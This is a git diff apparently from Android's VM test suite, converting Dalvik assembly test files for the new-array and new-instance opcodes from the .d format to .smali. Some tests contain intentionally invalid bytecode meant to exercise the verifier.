index f6f2588..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_7.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_new_array_7.java
-.class public dot.junit.opcodes.new_array.d.T_new_array_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)[Ljava/lang/Object;
-.limit regs 5
-
-       new-array v0, v4, java/lang/Object
-       return-object v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_7.smali
new file mode 100644
index 0000000..4b6b8b6
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_7.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/new_array/d/T_new_array_7;
+.super Ljava/lang/Object;
+.source "T_new_array_7.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run(I)[Ljava/lang/Object;
+    .registers 5
+
+    new-array v0, p1, Ljava/lang/Object;
+
+    return-object v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_8.d
deleted file mode 100644
index a221fc2..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_8.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_new_array_8.java
-.class public dot.junit.opcodes.new_array.d.T_new_array_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)[Ljava/lang/Object;
-.limit regs 5
-
-       new-array v0, v4, [[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[Ljava/lang/Object;
-       return-object v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_8.smali
new file mode 100644
index 0000000..802648c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_8.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_new_array_8.java"
+.class  public Ldot/junit/opcodes/new_array/d/T_new_array_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)[Ljava/lang/Object;
+.registers 5
+
+       new-array v0, v4, [[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[Ljava/lang/Object;
+       return-object v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_9.d
deleted file mode 100644
index 914322a..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_9.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_new_array_9.java
-.class public dot.junit.opcodes.new_array.d.T_new_array_9
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)[I
-.limit regs 5
-
-       new-array v0, v3, [I
-       return-object v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_9.smali
new file mode 100644
index 0000000..584405c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_9.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_new_array_9.java"
+.class  public Ldot/junit/opcodes/new_array/d/T_new_array_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)[I
+.registers 5
+
+       new-array v0, v3, [I
+       return-object v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_1.d
deleted file mode 100644
index 0cff87a..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_1.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_new_instance_1.java
-.class public dot.junit.opcodes.new_instance.d.T_new_instance_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()Ljava/lang/String;
-.limit regs 6
-
-       new-instance v1, java/lang/String
-       const-string v3, "abc"
-       invoke-direct {v1, v3}, java/lang/String/<init>(Ljava/lang/String;)V
-       return-object v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_1.smali
new file mode 100644
index 0000000..c275074
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_1.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_new_instance_1.java"
+.class  public Ldot/junit/opcodes/new_instance/d/T_new_instance_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()Ljava/lang/String;
+.registers 6
+
+       new-instance v1, Ljava/lang/String;
+       const-string v3, "abc"
+       invoke-direct {v1, v3}, Ljava/lang/String;-><init>(Ljava/lang/String;)V
+       return-object v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_10.d b/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_10.d
deleted file mode 100644
index cd9096d..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_10.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_new_instance_10.java
-.class public dot.junit.opcodes.new_instance.d.T_new_instance_10
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 6
-
-       new-instance v6, java/lang/String
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_10.smali
new file mode 100644
index 0000000..8a1ffc8
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_10.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_new_instance_10.java"
+.class  public Ldot/junit/opcodes/new_instance/d/T_new_instance_10;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 6
+
+       new-instance v6, Ljava/lang/String;
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_11.d b/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_11.d
deleted file mode 100644
index 0506be0..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_11.d
+++ /dev/null
@@ -1,46 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_new_instance_11.java
-.class public dot.junit.opcodes.new_instance.d.T_new_instance_11
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 6
-
-       const v4, 5
-       goto LabelEntry
-
-LabelBwd:
-       invoke-virtual {v1}, java/lang/Object/hashCode()I
-
-LabelEntry:
-       new-instance v1, java/lang/Integer
-
-       add-int/lit8 v4, v4, -1
-       if-nez v4, LabelBwd
-
-       invoke-direct {v1, v4}, java/lang/Integer/<init>(I)V
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_11.smali
new file mode 100644
index 0000000..fc948bd
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_11.smali
@@ -0,0 +1,46 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_new_instance_11.java"
+.class  public Ldot/junit/opcodes/new_instance/d/T_new_instance_11;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 6
+
+       const v4, 5
+       goto :LabelEntry
+
+:LabelBwd
+       invoke-virtual {v1}, Ljava/lang/Object;->hashCode()I
+
+:LabelEntry
+       new-instance v1, Ljava/lang/Integer;
+
+       add-int/lit8 v4, v4, -1
+       if-nez v4, :LabelBwd
+
+       invoke-direct {v1, v4}, Ljava/lang/Integer;-><init>(I)V
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_12.d b/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_12.d
deleted file mode 100644
index e4b025e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_12.d
+++ /dev/null
@@ -1,45 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_new_instance_12.java
-.class public dot.junit.opcodes.new_instance.d.T_new_instance_12
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 6
-
-    const v0, 0
-Label1:
-    new-instance v1,        java/lang/Integer
-    if-nez v0, INIT
-    move-object v2, v1
-    const v0, 1
-    goto Label1
-INIT:
-        
-    invoke-direct {v1, v0}, java/lang/Integer/<init>(I)V
-    invoke-virtual {v2}, java/lang/Integer/toString()Ljava/lang/String;
-
-    return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_12.smali
new file mode 100644
index 0000000..17bda09
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_12.smali
@@ -0,0 +1,45 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_new_instance_12.java"
+.class  public Ldot/junit/opcodes/new_instance/d/T_new_instance_12;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 6
+
+    const v0, 0
+:Label1
+    new-instance v1,        Ljava/lang/Integer;
+    if-nez v0, :INIT
+    move-object v2, v1
+    const v0, 1
+    goto :Label1
+:INIT
+        
+    invoke-direct {v1, v0}, Ljava/lang/Integer;-><init>(I)V
+    invoke-virtual {v2}, Ljava/lang/Integer;->toString()Ljava/lang/String;
+
+    return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_2.d
deleted file mode 100644
index 2a8eefb..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_2.d
+++ /dev/null
@@ -1,40 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_new_instance_2.java
-.class public dot.junit.opcodes.new_instance.d.T_new_instance_2
-.super java/lang/Object
-
-.field  i I
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public static run()I
-.limit regs 5
-
-    new-instance v0, dot/junit/opcodes/new_instance/d/T_new_instance_2
-;    invoke-direct {v0}, dot/junit/opcodes/new_instance/d/T_new_instance_2/<init>()V
-
-    iget v1, v0, dot.junit.opcodes.new_instance.d.T_new_instance_2.i I
-
-    return v1
-
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_2.smali
new file mode 100644
index 0000000..9548082
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_2.smali
@@ -0,0 +1,42 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/new_instance/d/T_new_instance_2;
+.super Ljava/lang/Object;
+.source "T_new_instance_2.java"
+
+
+# instance fields
+.field i:I
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+.method public static run()I
+    .registers 5
+
+    new-instance v0, Ldot/junit/opcodes/new_instance/d/T_new_instance_2;
+#    invoke-direct {v0}, Ldot/junit/opcodes/new_instance/d/T_new_instance_2;-><init>()V
+
+    iget v1, v0, Ldot/junit/opcodes/new_instance/d/T_new_instance_2;->i:I
+
+    return v1
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_3.d
deleted file mode 100644
index f6cd6fe..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_3.d
+++ /dev/null
@@ -1,49 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_new_instance_3.java
-.class public dot.junit.opcodes.new_instance.d.T_new_instance_3
-.super java/lang/Object
-
-.field static i I
-
-.method static <clinit>()V
-.limit regs 2
-
-       const/16 v0, 123
-       const/4 v1, 0
-       div-int/lit8 v0, v0, 0
-       sput v0, dot.junit.opcodes.new_instance.d.T_new_instance_3.i I
-       return-void
-.end method
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-Label5:
-       return-void
-.end method
-
-.method public static run()I
-.limit regs 4
-
-       new-instance v1, dot/junit/opcodes/new_instance/d/T_new_instance_3
-       invoke-direct {v1}, dot/junit/opcodes/new_instance/d/T_new_instance_3/<init>()V
-
-       sget v1, dot.junit.opcodes.new_instance.d.T_new_instance_3.i I
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_3.java b/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_3.java
index dd8bb15..3b85b03 100644
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_3.java
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_3.java
@@ -18,6 +18,7 @@
 
 public class T_new_instance_3 {
 
+    @SuppressWarnings("ConstantOverflow")
     static int i = 123 / 0;
 
     public static int run() {
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_3.smali
new file mode 100644
index 0000000..089f733
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_3.smali
@@ -0,0 +1,49 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_new_instance_3.java"
+.class  public Ldot/junit/opcodes/new_instance/d/T_new_instance_3;
+.super  Ljava/lang/Object;
+
+.field static i:I
+
+.method static constructor <clinit>()V
+.registers 2
+
+       const/16 v0, 123
+       const/4 v1, 0
+       div-int/lit8 v0, v0, 0
+       sput v0, Ldot/junit/opcodes/new_instance/d/T_new_instance_3;->i:I
+       return-void
+.end method
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+:Label5
+       return-void
+.end method
+
+.method public static run()I
+.registers 4
+
+       new-instance v1, Ldot/junit/opcodes/new_instance/d/T_new_instance_3;
+       invoke-direct {v1}, Ldot/junit/opcodes/new_instance/d/T_new_instance_3;-><init>()V
+
+       sget v1, Ldot/junit/opcodes/new_instance/d/T_new_instance_3;->i:I
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_4.d
deleted file mode 100644
index a92c597..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_4.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_new_instance_4.java
-.class public dot.junit.opcodes.new_instance.d.T_new_instance_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()Ljava/lang/Object;
-.limit regs 5
-
-       new-instance v1, dot/junit/opcodes/new_instance/TestStubs
-;       invoke-direct {v1}, dot/junit/opcodes/new_instance/TestStubs/<init>()V
-; intentionally return v4 ("this")    
-       return-object v4
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_4.smali
new file mode 100644
index 0000000..9b33f92
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_4.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_new_instance_4.java"
+.class  public Ldot/junit/opcodes/new_instance/d/T_new_instance_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()Ljava/lang/Object;
+.registers 5
+
+       new-instance v1, Ldot/junit/opcodes/new_instance/TestStubs;
+#       invoke-direct {v1}, Ldot/junit/opcodes/new_instance/TestStubs;-><init>()V
+# intentionally return v4 ("this")    
+       return-object v4
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_5.d
deleted file mode 100644
index 4651f6a..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_5.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_new_instance_5.java
-.class public dot.junit.opcodes.new_instance.d.T_new_instance_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()Ljava/lang/Object;
-.limit regs 5
-
